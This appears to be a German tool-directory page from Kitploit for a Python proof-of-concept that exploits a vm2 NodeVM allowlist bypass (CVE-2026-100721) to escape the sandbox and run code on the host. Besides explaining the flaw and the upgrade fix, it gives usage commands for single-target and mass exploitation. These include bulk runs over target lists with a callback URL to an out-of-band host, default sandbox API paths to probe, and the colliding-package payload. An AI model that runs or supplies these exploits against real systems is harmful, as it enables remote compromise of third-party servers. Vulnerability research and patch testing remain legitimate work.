Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-100721 — Python-PoC für CVE-2026-100721: erkennt und nutzt die Umgehung der externen Allowlist von vm2 <3.12.2 NodeVM aus, erreicht Sandbox-Escape und Host-RCE über ein lokales Lab oder massenhafte HTTP-Ziele. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-100721
AufklärungSchwachstellenscannerSchwachstellenanalyseExploitationScripting & AutomatisierungWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubmurrez/cve-2026-100721

CVE-2026-100721

Python-PoC für CVE-2026-100721: erkennt und nutzt die Umgehung der externen Allowlist von vm2 <3.12.2 NodeVM aus, erreicht Sandbox-Escape und Host-RCE über ein lokales Lab oder massenhafte HTTP-Ziele.

vor 5 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

CVE-2026-100721 — vm2 NodeVM External-Allowlist-Bypass

Python-3-PoC für CVE-2026-100721 — vm2 (npm) vor 3.12.2 fehlerhafte Autorisierung im NodeVM-External-Module-Resolver, was zu Sandbox-Escape und hostseitiger Codeausführung führt, wenn nicht vertrauenswürdiges JavaScript in einem falsch konfigurierten Embedder ausgeführt wird.

PoC-Seite: https://pocbit.org/pocs/cve-2026-100721


Was ist vm2?

vm2 ist eine weit verbreitete Node.js-Bibliothek zum Ausführen von nicht vertrauenswürdigem JavaScript in einer Sandbox innerhalb desselben Node-Prozesses. Anwendungen verwenden NodeVM mit Einschränkungen wie:

  • require.builtin — welche Kernmodule Gastcode laden darf (fs, child_process, …)
  • require.external — eine Allowlist von npm-Paketnamen (z. B. nur left-pad, lodash)
  • require.resolve — benutzerdefinierter Resolver, der auf ein hostgesteuertes Plugin- oder Abhängigkeitsverzeichnis zeigt
  • context: 'host' — externe Pakete werden über das echte Host-require() geladen (üblich aus Performancegründen)

Typische Embedder: User-Script-Plattformen, Low-Code-Runner, Plugin-Marktplätze, Online-IDEs, Automatisierungs-Sandboxes und interne „Safe-Eval“-Microservices.


Schwachstelle in einfachen Worten

CVE-2026-100721 ist eine fehlerhafte Autorisierung (CWE-863) bei der Entscheidung von vm2, ob ein Gast-require("package-name") erlaubt ist.

Zwei verwandte Fehler wurden über vm2-Releases hinweg behoben (dieselbe Fehlerklasse — Namens-/Pfadgrenzen-Verwechslung):

1. Teilstring-Übereinstimmung bei Paketnamen (GHSA-c48m-32m9-vx93)

Die Allowlist-Vorprüfung erstellt ein Muster aus Einträgen wie left-pad, erzwingt jedoch keine vollständige Paketnamen-Grenze. Gastcode kann evil-left-pad anfordern, weil die Zeichenkette left-pad enthält. Wenn dieses kollidierende Paket auf einem Pfad existiert, den der benutzerdefinierte Resolver erreichen kann, lädt vm2 es im Host-Kontext. Top-Level-Modulcode wird vor dem Sandbox-Wrapping ausgeführt → child_process, Dateizugriff, Secrets usw.

2. Präfix-Übereinstimmung bei aufgelöstem Pfad (lib/resolver-compat.js, behoben in 3.12.2)

Wenn ein benutzerdefinierter Resolver mit context: 'host' verwendet wird, zeichnet vm2 erlaubte Verzeichnisse mithilfe eines Präfix-regulären Ausdrucks ohne strikte Pfadtrennzeichen-/Endgrenze auf. Ein Gast kann später require() mit einem absoluten Pfad zu einem nicht allowlisteten Geschwister aufrufen (z. B. .../node_modules/foo2/index.js, wenn nur foo allowlistet war). Das Geschwister besteht isPathAllowedForModule und wird im Host-Prozess ausgeführt.

Betroffen: vm2 < 3.12.2 (CVE-2026-100721). Verwandte Namenskollisions-Fixes wurden auch in 3.11.7 eingeführt.
Behoben: Upgrade auf vm2 ≥ 3.12.2 (und aktuell bleiben).

MetrikWert
CVSS 3.19.0 Kritisch — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 4.09.5 Kritisch (Rapid7 / VulnCheck)
AuthExploit-Kette beginnt üblicherweise nach Codeausführung mit niedrigen Rechten innerhalb der Sandbox (PR:L im Advisory)
CreditTencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al.

Angriffsvoraussetzungen (reale Deployments)

Remote-„RCE mit einer einzigen HTTP-Anfrage“ ist nicht universell. Praktische Ketten benötigen:

  1. Die Anwendung führt angreiferkontrolliertes JS innerhalb von vm2 NodeVM aus.
  2. require.external-Allowlist + oft einen benutzerdefinierten require.resolve.
  3. context: 'host' (oder gleichwertiges Host-Laden) für Externals.
  4. Ein kollidierendes Paket, das bereits auf der Festplatte liegt, oder der Angreifer kann eines platzieren (Plugin-Upload-Verzeichnis, synchronisierter privater Registry-Ordner, Mandanten-Abhängigkeitspfad).

Wenn diese zusammenkommen, ist die Auswirkung eine vollständige Host-Node-Kompromittierung — nicht bloß Missbrauch der Gast-Sandbox.


Was dieses PoC tut

ModusVerhalten
--labAutoritativer lokaler Exploit: lab/ installiert vm2 3.11.5, baut evil-left-pad, demonstriert POCBIT-100721-HOST_EXEC (spiegelt Vendor-Advisory wider)
checkRemote-vm2-Fingerprint (package.json, Lockfiles, JS-Bundles), Version < 3.12.2, optionales --probe-exec gegen gängige Sandbox-API-Pfade
exploitMassentauglicher POST von Allowlist-Bypass-Probe-JS (evil-left-pad, kollidierende Namen) an konfigurierbare --exec-paths; markiert exploited bei Marker in der Antwort oder Sandbox-API-Oberfläche + --callback-url
Mass bulk--list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt

PoCbit-JSONL-Felder: pocbit, pocbit_catalog, pocbit_page in jeder Zeile.
CLI: grün/magenta PoCbit-Banner, [EXPLOIT] / [SENT] / [FAIL] / [HIT]-Einfärbung (--no-color zum Deaktivieren).

Wichtig: Der Remote-Exploit-Modus zielt auf HTTP-Sandbox-Runner ab, die Sie konfigurieren. Für reine Bibliotheksverifikation verwenden Sie python poc.py --lab (erfordert Node.js + npm).


Anforderungen

pip install -r requirements.txt
KomponenteZweck
Python 3.9+Scanner / Massentreiber
Node.js + npmNur --lab (empfohlen zum Verständnis der CVE)

Verwendung

Lokales Lab (vollständiger Sandbox-Escape-Nachweis)

cd CVE-2026-100721
python poc.py --lab

Erwartet bei anfälligem vm2:

[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE

Remote-Erkennung

python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec

Exploit (einzelnes Ziel)

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --exec-paths /api/run,/api/eval --code-field code

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --callback-url http://your-collaborator.example/cve-100721

Massen-Bulk-Exploit

python poc.py --list targets.txt --mode exploit \
  --exec-paths /api/run,/api/sandbox/run \
  --callback-url http://oast.example.com/hit -j 15

Benutzerdefiniertes Gast-Skript:

python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js

Ausgaben:

  • cve_2026_100721_exploit.jsonl — JSON pro Ziel
  • exploited.txt — Ziele, bei denen Escape-Marker, Callback-Oberfläche oder Sandbox-API-Treffer auftraten

Standard-Sandbox-API-Pfade (anpassbar)

Der Treiber prüft gängige Muster (überschreibbar mit --exec-paths):

/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …

Ausprobierte JSON-Body-Felder: code, script, source, javascript, js, payload, … (überschreibbar mit --code-field).


Gast-Payload (Konzept)

Das integrierte Exploit-JS durchläuft kollidierende Paketnamen wie evil-left-pad (Allowlist-Bypass-PoC). Bei einem anfälligen Embedder, der das kollidierende Paket bereits hostet:

require("evil-left-pad");  // host top-level code runs → sandbox escape

Das lokale lab/poc.js implementiert das vollständige Trusted-Advisory-Szenario mit external: ['left-pad'], builtin: [] und benutzerdefiniertem resolve.


Behebung

Tool herunterladen